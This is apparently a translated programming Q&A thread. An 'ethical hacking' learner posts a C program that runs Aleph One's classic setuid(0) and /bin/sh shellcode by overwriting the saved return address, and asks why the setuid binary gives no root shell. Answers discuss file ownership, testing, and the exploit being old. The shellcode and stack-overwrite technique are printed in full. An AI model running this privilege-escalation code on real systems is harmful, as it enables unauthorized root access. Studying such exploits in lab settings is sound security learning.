我有这个代码......道德黑客

时间:2010-05-07 16:49:25

标签: c linux shellcode

我正在关注这本关于道德黑客的电子书,我到了Linux Exploit Chapter,这是Aleph的1代码的代码。

//shellcode.c

char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { //main function

    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return

    //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the

    //address of the shellcode, so it executes.

}

我使用

给予超级用户权限
chmod u+s shellcode

作为超级用户,然后使用

返回普通用户
su - normal_user

但是当我运行./shellcode时,我应该是root用户,但我仍然是normal_user 所以任何帮助? 顺便说一句,我正在研究BT4-Final,我关闭了ASLR,并在VMWare中运行BT4 ......

5 个答案:

答案 0 :(得分:9)

如果这是一个旧的漏洞利用......它不应该早就解决了吗?

顺便说一句,作为个人建议:不要吝啬使用这个昵称,然后四处询问漏洞。

facepalm

答案 1 :(得分:7)

root拥有shellcode可执行文件吗? setuid位(u + s)使可执行文件以其所有者的权限运行,该权限不一定是root。

答案 2 :(得分:0)

好吧,setuid()会更改当前正在运行的程序的用户。您的Shell仍将在普通用户下运行! :)

要不然,或者我没有达到这个黑客的目的。

答案 3 :(得分:0)

认为 setuid仅在程序运行时将uid设置为0。在shellcode运行时,你能执行一些操作来检查UID吗?

答案 4 :(得分:0)

如果我说得对,你正在执行的代码(setuid(0))是一个系统调用,它将当前用户更改为 root 。问题在于它正在改变当前用户ID,并赋予该进程root权限。如果它正常工作,您可以运行具有root权限的任何内容。

要对其进行测试,请使用root创建文件或目录,确保无法以简单用户的身份将其删除,然后尝试将代码添加到删除文件的可执行文件中。如果代码正常,则应删除该文件。

然后,要获得root权限,请尝试从程序中分叉到新的shell。不过,我不确定是否可能。

... 然而,这是一个古老的漏洞。旧内核可能对此持开放态度,但使用任何最新版本都不会做任何事情。

UPDATE:我刚刚重新读取代码,并意识到对shell的调用是(/ bin / sh),所以你已经分到了一个假定的超级用户shell。要检查它是否真的有效,请在调用之前和之后查看shell的PID。如果它已更改,退出shell,您应该返回到先前的PID。这意味着(1)它工作,你操纵堆栈并在那里执行那些代码,(2)漏洞被修复,内核阻止你获得访问权。